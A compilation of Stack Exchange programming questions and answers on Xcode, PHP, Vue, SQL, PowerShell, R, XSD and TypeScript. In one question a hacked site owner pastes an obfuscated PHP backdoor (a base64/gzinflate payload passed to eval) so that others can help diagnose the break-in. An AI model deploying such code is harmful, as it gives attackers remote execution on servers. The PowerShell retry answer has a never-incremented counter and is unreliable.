问:
refreshPreferences HangTracerEnabled / HangTracerDuration messages in iOS 11 + Xcode 9
When update to iOS 11, after run app in iPhone, I receive this message in Xcode console:

```<code>SibDiet[924:111682] refreshPreferences: HangTracerEnabled: 0
SibDiet[924:111682] refreshPreferences: HangTracerDuration: 500
SibDiet[924:111682] refreshPreferences: ActivationLoggingEnabled: 0 ActivationLoggingTaskedOffByDA:0
</code>```

And now I get this message in every simulator and app.

How can I solve this problem?

答:
It seems the (refresh preferences...) problem appears on multiple platforms.

I managed to fix it  on High Sierra(10.13.1) XCode 9.1 and with iOS 11.0.3 by defining OS_ACTIVITY_MODE as disable by going in XCode via

Product > Scheme > Edit Scheme > Arguments > Environment Variables

add OS_ACTIVITY_MODE disable

Note: NSLog may not work after doing this.

Similar issue is reported in the question:

How to fix refreshPreferences Message in Xcode 9 [duplicate]

Body:
When update to iOS 11, after run app in iPhone, I receive this message in Xcode console:

SibDiet[924:111682] refreshPreferences: HangTracerEnabled: 0
SibDiet[924:111682] refreshPreferences: HangTracerDuration: 500
SibDiet[924:111682] refreshPreferences: ActivationLoggingEnabled: 0 ActivationLoggingTaskedOffByDA:0

And now I get this message in every simulator and app.

How can I solve this problem?


来源: stackexchange

问:
PHP - How to re-order data within a multidimensional array with only one reliable preceding string?
I am being passed inconsistent data. The problem is the individual rows of $data_array are not consistently in the same sequence but each has a reliable "text:" preceding the value.

Each row contains about 120 elements of data.  I only need 24 of those elements.

It's also possible one of the elements I need could be missing, such as "cost".

(I'm using php version 5.4)

-- Task:

Using $order_array, create a new $data_array_new by reordering the data in each "row" into the same sequence as $order_array.

If an elements is missing from a row insert "NA".

Once the elements are in the correct sequence the "text" is no longer required.

```<code>$order_array = array("price", "cost", "vol", "eps")
$data_array = Array (
    $one = Array ("cost":43.40, "vol":44000,   "eps":1.27,   "price":65.00),
    $two = Array ("eps":5.14,   "price":33.14, "vol":657000),
    $thr = Array ("vol":650000, "cost":66.67,  "eps":1.33,   "price":44.31),
);
</code>```

The resulting ouput should appear with the data in this order: ("price", "cost", "vol", "eps")

```<code>$data_array_new = Array (
    $one = Array (65.00,43.40,44000,1.27),
    $two = Array (33.14,"NA",657000,5.14),
    $thr = Array (44.31,66.67,650000,1.33),
);
</code>```

答:
```<code>$data_array_new = [];
foreach ($data_array as $index => $data) {
    $data_array_new[$index] = [];
    foreach ($order_array as $key) {
        if (isset($data[$key])) {
            $data_array_new[$index][] = $data[$key];
        } else {
            $data_array_new[$index][] = 'NA';
        }
    }
}
</code>```

ContentLicense: CC BY-SA 3.0

Body:
I am being passed inconsistent data. The problem is the individual rows of $data_array are not consistently in the same sequence but each has a reliable "text:" preceding the value.

Each row contains about 120 elements of data.  I only need 24 of those elements.

It's also possible one of the elements I need could be missing, such as "cost".

(I'm using php version 5.4)

-- Task:

Using $order_array, create a new $data_array_new by reordering the data in each "row" into the same sequence as $order_array.

If an elements is missing from a row insert "NA".

Once the elements are in the correct sequence the "text" is no longer required.

$order_array = array("price", "cost", "vol", "eps")
$data_array = Array (
    $one = Array ("cost":43.40, "vol":44000,   "eps":1.27,   "price":65.00),
    $two = Array ("eps":5.14,   "price":33.14, "vol":657000),
    $thr = Array ("vol":650000, "cost":66.67,  "eps":1.33,   "price":44.31),
);

The resulting ouput should appear with the data in this order: ("price", "cost", "vol", "eps")

$data_array_new = Array (
    $one = Array (65.00,43.40,44000,1.27),
    $two = Array (33.14,"NA",657000,5.14),
    $thr = Array (44.31,66.67,650000,1.33),
);


问:
Why only PHP allowed in html code but other languages use CGI?
For example, why developers of Python don't make the interpreter for using Python like PHP in HTML code?

答:
PHP was initially designed primarily as a programming language for creating web applications (the name stands for Personal Home Page). To make this easier, they tightly integrated the language into the web pages. In fact, in early versions of PHP, the code was embedded in HTML comments (similar to the way early Javascript had to be embedded). The PHP History page shows examples of this (this was called PHP/FI -- PHP Forms Interpreter):

```<code><!--include /text/header.html-->

<!--getenv HTTP_USER_AGENT-->
<!--ifsubstr $exec_result Mozilla-->
  Hey, you are using Netscape!<p>
<!--endif-->
</code>```

Later on, the name PHP became the recursive acrynym PHP Hypertext Preprocessor. This indicates that it's intended to be embedded in HTML, much the way C preprocessor code is embedded in C and C++ programs.

The embedded nature makes it easy to write web pages with lots of static HTML interspersed with dynamic code. In any other language, you'd need hundreds or thousands of print statements, while PHP allows you to just escape out of scripting mode into raw output for all the static parts.

There's no reason other languages couldn't be embedded into HTML in similar ways. But the designers simply didn't have that as a priority, they intended them as more general purpose languages, so they didn't put this feature into them. PHP can be used as a standalone programming language (my company uses it extensively in cron jobs), it's just not its original design emphasis.

ContentLicense: CC BY-SA 4.0

Body:
PHP was initially designed primarily as a programming language for creating web applications (the name stands for Personal Home Page). To make this easier, they tightly integrated the language into the web pages. In fact, in early versions of PHP, the code was embedded in HTML comments (similar to the way early Javascript had to be embedded). The PHP History page shows examples of this (this was called PHP/FI -- PHP Forms Interpreter):

<!--include /text/header.html-->

<!--getenv HTTP_USER_AGENT-->
<!--ifsubstr $exec_result Mozilla-->
  Hey, you are using Netscape!<p>
<!--endif-->

Later on, the name PHP became the recursive acrynym PHP Hypertext Preprocessor. This indicates that it's intended to be embedded in HTML, much the way C preprocessor code is embedded in C and C++ programs.

The embedded nature makes it easy to write web pages with lots of static HTML interspersed with dynamic code. In any other language, you'd need hundreds or thousands of print statements, while PHP allows you to just escape out of scripting mode into raw output for all the static parts.

There's no reason other languages couldn't be embedded into HTML in similar ways. But the designers simply didn't have that as a priority, they intended them as more general purpose languages, so they didn't put this feature into them. PHP can be used as a standalone programming language (my company uses it extensively in cron jobs), it's just not its original design emphasis.


问:
issues with v-ons tag don't which doesn't work
I'm trying to learn onsenui with Vue. Js.

I'm using the cdn link to use onsen-vue.
The ons tag works but the v-ons tag don't.
The error I'm getting says

custom tag not defined.

For eg v-ons button doesn't works but ons button works.
I have simply created html file to test it.
I can also see onsen-vue(2.4) is loaded in the resources
I have added cdn for Vue.js (2.4)

答:
Check the working  example of HelloWorld from onsen docs

It uses cdn versions of vue-onsenui@2.4 and vue@2.4

```<code><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <link rel="stylesheet" href="https://unpkg.com/onsenui@2.8.1/css/onsenui.min.css">
    <link rel="stylesheet" href="https://unpkg.com/onsenui@2.8.1/css/onsen-css-components.min.css">
    <script src="https://unpkg.com/vue@2.4.0/dist/vue.js"></script>
    <script src="https://unpkg.com/onsenui@2.8.1/js/onsenui.min.js"></script>
    <script src="https://unpkg.com/vue-onsenui@2.4.0/dist/vue-onsenui.js"></script>
</head>

<body>
<template id="main-page">
    <v-ons-page>
        <v-ons-toolbar>
            <div class="center">Title</div>
        </v-ons-toolbar>

        <p style="text-align: center">
            <v-ons-button @click="$ons.notification.alert('Hello World!')">
                Click me!
            </v-ons-button>
        </p>
    </v-ons-page>
</template>

<div id="app"></div>

<script>
    var vm = new Vue({
        el: '#app',
        template: '#main-page'
    });
</script>
</body>
</html>
</code>```

Body:
Check the working  example of HelloWorld from onsen docs

It uses cdn versions of vue-onsenui@2.4 and vue@2.4

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <link rel="stylesheet" href="https://unpkg.com/onsenui@2.8.1/css/onsenui.min.css">
    <link rel="stylesheet" href="https://unpkg.com/onsenui@2.8.1/css/onsen-css-components.min.css">
    <script src="https://unpkg.com/vue@2.4.0/dist/vue.js"></script>
    <script src="https://unpkg.com/onsenui@2.8.1/js/onsenui.min.js"></script>
    <script src="https://unpkg.com/vue-onsenui@2.4.0/dist/vue-onsenui.js"></script>
</head>

<body>
<template id="main-page">
    <v-ons-page>
        <v-ons-toolbar>
            <div class="center">Title</div>
        </v-ons-toolbar>

        <p style="text-align: center">
            <v-ons-button @click="$ons.notification.alert('Hello World!')">
                Click me!
            </v-ons-button>
        </p>
    </v-ons-page>
</template>

<div id="app"></div>

<script>
    var vm = new Vue({
        el: '#app',
        template: '#main-page'
    });
</script>
</body>
</html>


问:
AngularJS & jQuery - How to find the ID of a child div on a Click event for its parent?
I have code in HTML like:

```<code><div id="edit" ng-click="editFunction($scope)">
  <span id="1">
    click1
  </span>
  <span id="2">
    click2
  </span>
  <span id="3">
    click3
  </span>
  <span id="4">
    click4
  </span>
  ....
</div>
</code>```

In controller.js:

```<code>myDIV.controller('control',function($scope){
   $scope.editFunction($event){
    alert($event.target.id);
   }
});
</code>```

When a user clicks on the div tag, he should click on any of the span tags. Using the code we are able to get the div id.

However, I need to know which span is clicked. Meaning, the ID of that span.

答:
By sending $index, you get the number of the element in the current repeat.

So instead of trying to send an event, and then understand from that what span was clicked, just use the tools that angular gives you out of the box.

HTML

```<code><div id="edit">
    <span ng-repeat="click in clicks" ng-click="editFunction($index)">
        {{ click }}
    </span>
</div>
</code>```

And then in your controller:

```<code>myDIV.controller('control',function($scope){

    $scope.clicks = [1, 2, 3, 4]; // Fill the array with real data.

    $scope.editFunction(index){
        alert(index);
    }
});
</code>```

Body:
I have code in HTML like:

    click1

    click2

    click3

    click4

  ....

In controller.js:

myDIV.controller('control',function($scope){
   $scope.editFunction($event){
    alert($event.target.id);
   }
});

When a user clicks on the div tag, he should click on any of the span tags. Using the code we are able to get the div id.

However, I need to know which span is clicked. Meaning, the ID of that span.

Body:
By sending $index, you get the number of the element in the current repeat.

So instead of trying to send an event, and then understand from that what span was clicked, just use the tools that angular gives you out of the box.

HTML

<div id="edit">
    <span ng-repeat="click in clicks" ng-click="editFunction($index)">
        {{ click }}
    </span>
</div>

And then in your controller:

myDIV.controller('control',function($scope){

    $scope.clicks = [1, 2, 3, 4]; // Fill the array with real data.

    $scope.editFunction(index){
        alert(index);
    }
});


问:
how to convert this String to Decimal
i have this String '5666,232343' and i want to convert it to Decimal, i use cast('5666,232343' as decimal(7,5)) but it returns NULL value.
Do you know why it doesn't work with CAST

答:
Zorkolot is right. The current precision and scale that you've used is not sufficient for the value you've provided.

If you're using SQL Server 2012 or higher and you want to keep the comma in the value, then you can use the TRY_PARSE function and set a culture. It will return NULL if it encounters an error instead of not completing the statement and returning red text. This also allows you to add basic error handling to the statement, if you wanted, by getting failed conversions to return the value of zero. For example:

This is your original query (which is currently erroring) with my error handling fix:

```<code>select coalesce(try_parse('5666,232343' as decimal(7,5) using 'en-GB'),'0') as [DecimalValue]
</code>```

This is the same thing as above but I've amended the decimal precision and scale so that the value is successfully converted:

```<code>select coalesce(try_parse('5666,232343' as decimal(16,6) using 'en-GB'),'0') as [DecimalValue]
</code>```

This should prevent you having to perform a REPLACE either manually or by using the SQL function.

Title: how to convert this String to Decimal

Body:
Zorkolot is right. The current precision and scale that you've used is not sufficient for the value you've provided.

If you're using SQL Server 2012 or higher and you want to keep the comma in the value, then you can use the TRY_PARSE function and set a culture. It will return NULL if it encounters an error instead of not completing the statement and returning red text. This also allows you to add basic error handling to the statement, if you wanted, by getting failed conversions to return the value of zero. For example:

This is your original query (which is currently erroring) with my error handling fix:

select coalesce(try_parse('5666,232343' as decimal(7,5) using 'en-GB'),'0') as [DecimalValue]

This is the same thing as above but I've amended the decimal precision and scale so that the value is successfully converted:

select coalesce(try_parse('5666,232343' as decimal(16,6) using 'en-GB'),'0') as [DecimalValue]

This should prevent you having to perform a REPLACE either manually or by using the SQL function.


问:
How to scroll the page smoothly?
I need to scroll the page on load to a certain position on the page in an animated manner.  And it works fine (using jQuery's animate):

```<code>$(document).ready(function () {
    $('html, body').animate({
        scrollTop: $('#today').offset().top - 50
    }, 800, "linear");
});
</code>```

However, one thing that it is not is smooth.  Particularly on a mobile device it feels very jerky.

I've seen some CSS animations (using transition and transform) that are very smooth but can't figure out how to apply it to page scrolling.  Is it possible to do what I want using CSS?

答:
The best solution for cross-browser/cross-device decent smooth scrollTop I found is using velocity.js. It's faster than jQuery's animate, quite light and supports multiple syntaxes, one of them being the one used by jQuery.animate(), so all you need to do is to replace .animate() with .velocity() (and loading the thing, of course).

I know there might be other solutions out there, but this one has been solid for years, they are always keeping it up to date, I'd say it's a keeper in any serious frontend web developer's tools. You'll find some very fancy names on velocity's libscore page. And no, I'm not affiliated. I'm just thankful for being able to use it for free.

Title: How to scroll the page smoothly?

Body:
I need to scroll the page on load to a certain position on the page in an animated manner.  And it works fine (using jQuery's animate):

$(document).ready(function () {
    $('html, body').animate({
        scrollTop: $('#today').offset().top - 50
    }, 800, "linear");
});

However, one thing that it is not is smooth.  Particularly on a mobile device it feels very jerky.

I've seen some CSS animations (using transition and transform) that are very smooth but can't figure out how to apply it to page scrolling.  Is it possible to do what I want using CSS?


答:
Try using easeOutCubic or another easing function (choose one here):

```<code>$(document).ready(function () {
    $('html, body').animate({
        scrollTop: $('#today').offset().top - 50
    }, 800, "easeOutCubic");
});
</code>```

Title: How to scroll the page smoothly?

Body:
Try using easeOutCubic or another easing function (choose one here):

$(document).ready(function () {
    $('html, body').animate({
        scrollTop: $('#today').offset().top - 50
    }, 800, "easeOutCubic");
});


问:
Powershell Re-trying file download if it download encouters 404 error
So I have a powershell script which downloads a a set of files one after another using a foreach-object loop (and System.Net.WebClient). From time to time I get a 404 error from the source URL for a particular file. The error is non-termninating so the script moves on when encountering this type of error. The issue is that the fileset needs to be downloaded as a set and is no good unless all files are available. So what I need to do is have the script pause and retry the download if it encounters a 404 error. I am having trouble figuring out how best to have this happen. Here is the code I am using for the download. Originally it just did this:

```<code>Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
        Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {
            #$null=Download-File $w $_ $dir
</code>```

So this downloads the files properly....unless I get some type of error like a 404. What I want to do is have it pick the error and then try and download the missed file, and keep trying until its downloaded. Typically this seems to be caused by a timing issue whereby I am trying to download a file the source URL is still publishing (copying and is not yet available). So if I can just detect the error and keep trying to download the file until downloaded as the source URL will eventually publish it. What I came up with is below:

```<code>Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
        Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {

        try {
            $null=Download-File $w $_ $dir
        }

        catch {
            sleep 60
            $null=Download-File $w $_ $dir
            "Re-downloading missed file"
    }
    }
</code>```

So I think this will have the script try again in a minute if it encounters an error. Thats fine I guess but I wanted to actually try and check for when the file is actually downloaded before moving on. So like some kind of while loop that says if $_ does not exist in destination, keep trying to download it until it does. In the above code I am calling a function called "Download-file" and a function "Is-Match". Download file uses System.Net.WebClient to download files from a website.

I thought maybe the following might work but am not sure its the best way to handle this:

```<code>Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
            Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {
do{
    $Failed = $false
    Try{
        $null=Download-File $w $_ $dir
    }
    catch { $Failed = $true }
} while ($Failed)
</code>```

Or perhaps I could do the following

```<code>Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
                Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {
Try{
        $null=Download-File $w $_ $dir
}
   catch {
    while ($error){
    Start-Sleep -s 60
    $null=Download-File $w $_ $dir
}
}
</code>```

I can test the code but I cannot test for the error very easily as most times the files are all there. Anyway I would appreciate any help here. Thanks in advance.

答:
I would try something like this.  It assumes that the object returned for Download-File is null if the download fails - you'll have to check how it actually behaves.  To simulate a failed download, you could re-write the returned object from Download-File to $null.</p>

```<code>$maxRetries = 5
$retryWaitSeconds = 60
Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
        Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {
            do {
                $file = Download-File $w $_ $dir
                #force the file download to fail 3 times for testing
                foreach ($i in 1..3) {
                    $file = $null
                }

                #sleep if the file download failed.
                if ($file -eq $null) {
                    start-sleep $retryWaitSeconds
                }
            }
            while (($file -eq $null) -and ($retryCount -le $maxRetries)) #limit the maximum number of retries in case download will never succeed.
        }
</code>```

Body:
So I have a powershell script which downloads a a set of files one after another using a foreach-object loop (and System.Net.WebClient). From time to time I get a 404 error from the source URL for a particular file. The error is non-termninating so the script moves on when encountering this type of error. The issue is that the fileset needs to be downloaded as a set and is no good unless all files are available. So what I need to do is have the script pause and retry the download if it encounters a 404 error. I am having trouble figuring out how best to have this happen. Here is the code I am using for the download. Originally it just did this:

Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
        Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {
            #$null=Download-File $w $_ $dir

So this downloads the files properly....unless I get some type of error like a 404. What I want to do is have it pick the error and then try and download the missed file, and keep trying until its downloaded. Typically this seems to be caused by a timing issue whereby I am trying to download a file the source URL is still publishing (copying and is not yet available). So if I can just detect the error and keep trying to download the file until downloaded as the source URL will eventually publish it. What I came up with is below:

Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
        Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {

        try {
            $null=Download-File $w $_ $dir
        }

        catch {
            sleep 60
            $null=Download-File $w $_ $dir
            "Re-downloading missed file"
    }
    }

So I think this will have the script try again in a minute if it encounters an error. Thats fine I guess but I wanted to actually try and check for when the file is actually downloaded before moving on. So like some kind of while loop that says if $_ does not exist in destination, keep trying to download it until it does. In the above code I am calling a function called "Download-file" and a function "Is-Match". Download file uses System.Net.WebClient to download files from a website.

I thought maybe the following might work but am not sure its the best way to handle this:

Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
            Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {
do{
    $Failed = $false
    Try{
        $null=Download-File $w $_ $dir
    }
    catch { $Failed = $true }
} while ($Failed)

Or perhaps I could do the following

Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
                Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {
Try{
        $null=Download-File $w $_ $dir
}
   catch {
    while ($error){
    Start-Sleep -s 60
    $null=Download-File $w $_ $dir
}
}

I can test the code but I cannot test for the error very easily as most times the files are all there. Anyway I would appreciate any help here. Thanks in advance.

Body:
I would try something like this.  It assumes that the object returned for Download-File is null if the download fails - you'll have to check how it actually behaves.  To simulate a failed download, you could re-write the returned object from Download-File to $null.

$maxRetries = 5
$retryWaitSeconds = 60
Get-Content $shaFile | Foreach-Object { ($_ -split " ", 2)[0] } |
        Where-Object { ($adfs.$v.iniFile,$shaFile -NotContains $_) -and (Is-Match $_) } | Foreach-Object {
            do {
                $file = Download-File $w $_ $dir
                #force the file download to fail 3 times for testing
                foreach ($i in 1..3) {
                    $file = $null
                }

                #sleep if the file download failed.
                if ($file -eq $null) {
                    start-sleep $retryWaitSeconds
                }
            }
            while (($file -eq $null) -and ($retryCount -le $maxRetries)) #limit the maximum number of retries in case download will never succeed.
        }


问:
Error In fill in read.table in R
I am trying to import the data from the CSV file. The code I used is below

```<code>New <- read.table("New.csv", fill="TRUE")
</code>```

and below is the CSV file data:

```<code>Name    Sex Age Score   Aspirations
Rhea    F   18  98  Doctor
John    M   17  90  Engineer
Rads    F   21  87  Air Hostess
</code>```

The R console is sending me an error and I am not sure how to deal with this. I am a beginner in R.

Error in fill && length(col.names) > cols : invalid 'x' type in 'x &&
  y'

答:
Try specifying the file path, and ensuring the file type is a CSV. Note an Excel file is not the same thing as a CSV file. You must open the Excel workbook, click File > Save As > CSV, to create the CSV file.

Also, unless you've specified a working directory or saved the CSV to your desktop, you must do so by the following:

New <- read.csv("C:/Users/YOUR-USERNAME/Desktop/New.csv")

Note, you must use forward slashes instead of backslashes. You can find the file path by right-clicking and selecting properties.

Let me know if this works.

Title: Error In fill in read.table in R

Body:
I am trying to import the data from the CSV file. The code I used is below

New <- read.table("New.csv", fill="TRUE")

and below is the CSV file data:

Name    Sex Age Score   Aspirations
Rhea    F   18  98  Doctor
John    M   17  90  Engineer
Rads    F   21  87  Air Hostess

The R console is sending me an error and I am not sure how to deal with this. I am a beginner in R.

Error in fill && length(col.names) > cols : invalid 'x' type in 'x &&
  y'


问:
How to extend XSD scheme for supporting SVG?
I try to extend ISOSTS XSD scheme for supporting SVG images tags.
I found XSD scheme for SVG and has put it near ISOSTS.xsd.
Now I try to extend ISOSTS.xsd:

```<code><?xml version="1.0" encoding="utf-8"?>
<xs:schema
        xmlns:xs="http://www.w3.org/2001/XMLSchema"
        xmlns:mml="http://www.w3.org/1998/Math/MathML"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:tbx="urn:iso:std:iso:30042:ed-1"
        xmlns:xlink="http://www.w3.org/1999/xlink"

<!-- my line -->
        xmlns:svg="http://www.w3.org/2000/svg"

        elementFormDefault="qualified">
      <xs:import namespace="http://www.w3.org/1998/Math/MathML"
                 schemaLocation="ncbi-mathml2/mathml2.xsd"/>
      <xs:import namespace="http://www.w3.org/1999/xlink"
                 schemaLocation="xlink.xsd"/>
      <!-- XSD import of namespace http://www.w3.org/2001/XMLSchema-instance suppressed (not necessary) -->
      <xs:import namespace="http://www.w3.org/XML/1998/namespace"
                 schemaLocation="xml.xsd"/>
      <xs:import namespace="urn:iso:std:iso:30042:ed-1"
                 schemaLocation="tbx.xsd"/>

<!-- my line -->
      <xs:import namespace="http://www.w3.org/2000/svg"
                 schemaLocation="SVG.xsd"/>

....
<xs:element name="p">
  <xs:complexType mixed="true">
    <xs:choice minOccurs="0" maxOccurs="unbounded">
<!-- my line -->   <xs:element ref="svg:svg"/>
                   <xs:element ref="email"/>
....
</code>```

But I have error when try to load scheme:

```<code>    from lxml.etree import parse, XMLSchema

    schema_file = open(self._schema_filename)

    schema_doc = parse(schema_file)
    schema_file.close()

    self._xmlschema = XMLSchema(schema_doc)  # Error
</code>```

Error message:

File "src/lxml/xmlschema.pxi", line 87, in lxml.etree.XMLSchema.init (src/lxml/lxml.etree.c:197819)

lxml.etree.XMLSchemaParseError: Element '{http://www.w3.org/2001/XMLSchema}element', attribute 'ref': References from this schema to components in the namespace 'http://www.w3.org/2000/svg' are not allowed, since not indicated by an import statement., line 4664

What is wrong?

答: The message seems clear enough to me, I'm not sure which part of it you don't understand. Your schema document imports schema components for various namespaces (mathml, xlink, xml, etc) but it makes no attempt to import the schema for SVG, and the error message is telling you so.</p>

Body:
I try to extend ISOSTS XSD scheme for supporting SVG images tags.
I found XSD scheme for SVG and has put it near ISOSTS.xsd.
Now I try to extend ISOSTS.xsd:

<?xml version="1.0" encoding="utf-8"?>
<xs:schema
        xmlns:xs="http://www.w3.org/2001/XMLSchema"
        xmlns:mml="http://www.w3.org/1998/Math/MathML"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:tbx="urn:iso:std:iso:30042:ed-1"
        xmlns:xlink="http://www.w3.org/1999/xlink"

        xmlns:svg="http://www.w3.org/2000/svg"

        elementFormDefault="qualified">
      <xs:import namespace="http://www.w3.org/1998/Math/MathML"
                 schemaLocation="ncbi-mathml2/mathml2.xsd"/>
      <xs:import namespace="http://www.w3.org/1999/xlink"
                 schemaLocation="xlink.xsd"/>

      <xs:import namespace="http://www.w3.org/XML/1998/namespace"
                 schemaLocation="xml.xsd"/>
      <xs:import namespace="urn:iso:std:iso:30042:ed-1"
                 schemaLocation="tbx.xsd"/>

      <xs:import namespace="http://www.w3.org/2000/svg"
                 schemaLocation="SVG.xsd"/>

....
<xs:element name="p">
  <xs:complexType mixed="true">
    <xs:choice minOccurs="0" maxOccurs="unbounded">
   <xs:element ref="svg:svg"/>
                   <xs:element ref="email"/>
....

But I have error when try to load scheme:

    from lxml.etree import parse, XMLSchema

    schema_file = open(self._schema_filename)

    schema_doc = parse(schema_file)
    schema_file.close()

    self._xmlschema = XMLSchema(schema_doc)  # Error

Error message:

File "src/lxml/xmlschema.pxi", line 87, in lxml.etree.XMLSchema.init (src/lxml/lxml.etree.c:197819)

lxml.etree.XMLSchemaParseError: Element '{http://www.w3.org/2001/XMLSchema}element', attribute 'ref': References from this schema to components in the namespace 'http://www.w3.org/2000/svg' are not allowed, since not indicated by an import statement., line 4664

What is wrong?


问:
output parameter
how to get output parameter from stored procedure of one table and by using that value how to insert data in another table which is in realation with that table? </p>

答: an output parameter is just a value, I am not sure I understand your question. Are you talking about SQL Server 2008 Table Valued Parameters perhaps?</p>

OwnerDisplayName: Amit

ContentLicense: CC BY-SA 2.5

Title: output parameter

OwnerDisplayName: SQLMenace


问:
What is the vulnerability in my PHP code?
A website of mine was recently hacked.  Although the actual website remain unchanged, they were somehow able to use the domain to create a link that re-directed to an ebay phishing scam.

I've taken the website down, for obvious reasons, so I can't link to the code.  I'm wondering how I can go about finding out what vulnerability they used so that I can avoid this problem in the future.  The page used PHP, and also some javascript (for form validation).

Is there a free service that will scan my code for vulnerabilities?  What are my other options?

Thanks,
Jeff

EDIT:  I've hosted the files at [link removed]

A few things to note:  There are several files in the "funcs" folder, most of which aren't used, but I left them there just in case.  The "new.php" (contents below) in the "data" folder is clearly the problem.  The big question is, how did someone manage to upload "new.php" to the server?  There's also an RTF of the e-mail I received which has info about the scam.

(caution: this code is probably "dangerous" to your computer)

```<code>    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>
</code>```

答:
Do you have access to the server logs?  If you have an approximate time when the first exploit occurred, they should be able to go a long ways into helping you figure out what the person did. Other than giving general advice, its really hard to say without more information.

Can you share the code (please make sure to remove user names / passwords etc)?  If so I would be willing to take a look but it might take me a day or so (Sorry, I'm currently working on a SQL Injection Vulnerability report, recommendation for identifying restricted data, and future standards/process to prevent it in the future and I have four kids at home including a 3 month old).

Body:
A website of mine was recently hacked.  Although the actual website remain unchanged, they were somehow able to use the domain to create a link that re-directed to an ebay phishing scam.

I've taken the website down, for obvious reasons, so I can't link to the code.  I'm wondering how I can go about finding out what vulnerability they used so that I can avoid this problem in the future.  The page used PHP, and also some javascript (for form validation).

Is there a free service that will scan my code for vulnerabilities?  What are my other options?

Thanks,
Jeff

EDIT:  I've hosted the files at [link removed]

A few things to note:  There are several files in the "funcs" folder, most of which aren't used, but I left them there just in case.  The "new.php" (contents below) in the "data" folder is clearly the problem.  The big question is, how did someone manage to upload "new.php" to the server?  There's also an RTF of the e-mail I received which has info about the scam.

(caution: this code is probably "dangerous" to your computer)

    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>


问:
Typescript object rest typings in argument
I'm a bit new to Typescript, and I can do typings for 90% of my codebase. But when it comes to rest/spread operators, I am absolutely at a loss. I happened upon this today in our code (I did not write this) but I did figure out that it doesn't work:

```<code>interface searchClient {
  searchForValues({
    name,
    query,
    ...qp,
  }: {
    name: string;
    query: string;
    qp: QpInterface;  //???this part doesn't work
  }): Promise<any>;
 }

interface QpInterface {
  page?: number;
  hits?: number;
  attributes?: string;
}
</code>```

It doesn't work because qp is designating the name of the key in the typing whereas what I want to type is the ...qp part. Every key/value pair in ...qp is typed by the QpInterface.

Here's a sample function call:

```<code>this.searchClient.searchForValues({
  name: 'title',
  query: 'little sheep',
  page: 5,
  hits: 2
});
</code>```

I couldn't find much on this on the documentation. I've tried putting ...qp: QpInterface; and ...QpInterface; which didn't work. What is the best way to type ...qp in the argument?

答:
Until spread types are implemented in TypeScript, you can use intersection type for this:</p>

